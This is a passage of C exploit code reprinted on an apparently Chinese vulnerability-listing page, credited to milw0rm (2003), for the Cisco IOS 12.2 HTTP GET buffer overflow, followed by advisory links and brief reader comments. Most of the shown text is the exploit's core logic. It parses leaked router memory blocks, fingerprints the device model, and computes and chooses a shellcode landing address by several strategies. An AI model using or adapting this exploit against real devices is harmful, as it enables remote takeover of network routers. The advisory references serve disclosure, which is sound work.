if (cfg.verbose)
printf(" (Block NOT in use)n");
}
state++;
p+=4;
break;
case ST_REF:
if (cfg.verbose)
printf("tReferences : %8un",ntohl(*(unsigned int *)p));
state++;
p+=4;
break;
case ST_LASTDE:
if (cfg.verbose)
printf("tLast DeAlc : %08Xn",ntohl(*(unsigned int *)p));
state=ST_ID_ME_NOW;
p+=4;
break;
//
// Identification
//
case ST_ID_ME_NOW:
i=0;
while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
if (
(p_name>=cisco_boxes[i].PC_start) &&
(p_name<=cisco_boxes[i].PC_end) &&
(p_pc>=cisco_boxes[i].PC_start) &&
(p_pc<=cisco_boxes[i].PC_end) &&
(p_next>=cisco_boxes[i].IO_start) &&
(p_next<=cisco_boxes[i].IO_end) &&
(p_prev>=cisco_boxes[i].IO_start) &&
(p_prev<=cisco_boxes[i].IO_end)
) {
leak.guess=i;
break;
}
i++;
}
state=0;
p+=4;
break;
default:
p+=1;
}
}
if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
unsigned int delta;
unsigned int a;
unsigned int i;
int flag=0;
delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
a=block3_next_val-delta;
if (cfg.verbose) {
printf("n");
printf("Delta between opcode_begin (%p) "
"and block2_next_field (%p) is %un",
(void*)block2_next_field, (void*)opcode_begin, delta);
printf("The third block is at 0x%08Xn", block3_next_val);
printf("Therefore, the code should be located at 0x%08Xn",a);
}
for (i=0;i<leak.addrc;i++) {
if (leak.addrs[i].a==a) {
leak.addrs[i].count++;
flag++;
break;
}
}
if ((flag==0)&&(leak.addrc<MAXADDRS-1)) {
leak.addrs[leak.addrc++].a=a;
leak.addrs[leak.addrc].count=1;
leak.lastaddr=a;
}
}
}
unsigned int SelectAddress(void) {
unsigned int the_address;
int rnd_addr;
unsigned int i,j;
addrs_t atmp;
addrs_t consider[MAXADDRS];
unsigned int consc=0;
if (leak.addrc==0) {
fprintf(stderr,"ERROR: No addresses available. Unable to recovern");
return 0;
}
for (i=0;i<leak.addrc;i++)
printf(" Address 0x%08X (%u times)n",
leak.addrs[i].a,
leak.addrs[i].count);
//
// put addresses to consider in another array.
// We only want those above our threshold, to prevent irregular buffers
//
memset(&consider,0,sizeof(consider));
for (i=0;i<leak.addrc;i++) {
if (leak.addrs[i].count<LOW_COUNT_THR) {
printf("Address 0x%08X count below thresholdn",
leak.addrs[i].a);
continue;
}
consider[consc]=leak.addrs[i];
consc++;
}
//
// bubble sort addresses, unless we are operating count based, where we
// sort by times of appearences
//
if (cfg.strategy != S_FREQUENT) {
for (i=0;i<consc-1;i++) {
for (j=0;j<(consc-1-i);j++) {
if (consider[j+1].a < consider[j].a) {
atmp=consider[j];
consider[j] = consider[j+1];
consider[j+1] = atmp;
}
}
}
} else {
for (i=0;i<consc-1;i++) {
for (j=0;j<(consc-1-i);j++) {
if (consider[j+1].count < consider[j].count) {
atmp=consider[j];
consider[j] = consider[j+1];
consider[j+1] = atmp;
}
}
}
}
printf("Cleaned up, remaining addresses %un",consc);
if (consc==0) {
fprintf(stderr,"ERROR: No addresses left. Unable to recovern"
"You can try to decrease LOW_COUNT_THR in the sourcen");
return 0;
}
for (i=0;i<consc;i++)
printf(" Address 0x%08X (%u times)n",
consider[i].a,
consider[i].count);
switch (cfg.strategy) {
case S_RANDOM:
{
srand((unsigned long)time(NULL));
rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0));
the_address=consider[rnd_addr].a + leak.nop_offset;
printf("Use pseudo-randomly selected address 0x%08X (0x%08X)n",
the_address,consider[rnd_addr].a);
}
break;
case S_LAST:
{
the_address=leak.lastaddr + leak.nop_offset;
printf("Using last address 0x%08Xn",the_address);
}
break;
case S_SMALLEST:
{
if (consc==1) {
the_address= consider[0].a + leak.nop_offset;
printf("Using smallest address 0x%08X (0x%08X)n",
the_address,consider[0].a);
} else if (consc==2) {
the_address= consider[1].a + leak.nop_offset;
printf("Using second smallest address 0x%08X (0x%08X)n",
the_address,consider[1].a);
} else {
the_address= consider[2].a + leak.nop_offset;
printf("Using third smallest address 0x%08X (0x%08X)n",
the_address,consider[2].a);
}
}
break;
case S_HIGHEST:
{
the_address= consider[consc-1].a + leak.nop_offset;
printf("Using highest address 0x%08X (0x%08X)n",
the_address,consider[consc-1].a);
}
break;
case S_FREQUENT:
{
// already sorted by frequency
the_address= consider[consc-1].a + leak.nop_offset;
printf("Using most frequent address 0x%08X (0x%08X)n",
the_address,consider[consc-1].a);
}
break;
default:
fprintf(stderr,"ERROR: unknown address strategy selectedn");
return (0);
}
return the_address;
}
// milw0rm.com [2003-08-10]
|受影响的产品
Cisco IOS 12.2
|参考资料
来源:US-CERTVulnerabilityNote:VU#579324
名称:VU#579324
链接:http://www.kb.cert.org/vuls/id/579324
来源:CISCO
名称:20030731Sending2GBDatainGETRequestCausesBufferOverflowinCiscoIOSSoftware
链接:http://www.cisco.com/warp/public/707/cisco-sn-20030730-ios-2gb-get.shtml
相关推荐: Psunami Bulletin Board Psunami.CGI Remote Command Execution Vulnerability
Psunami Bulletin Board Psunami.CGI Remote Command Execution Vulnerability 漏洞ID 1101048 漏洞类型 Input Validation Error 发布时间 2003-01-13…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666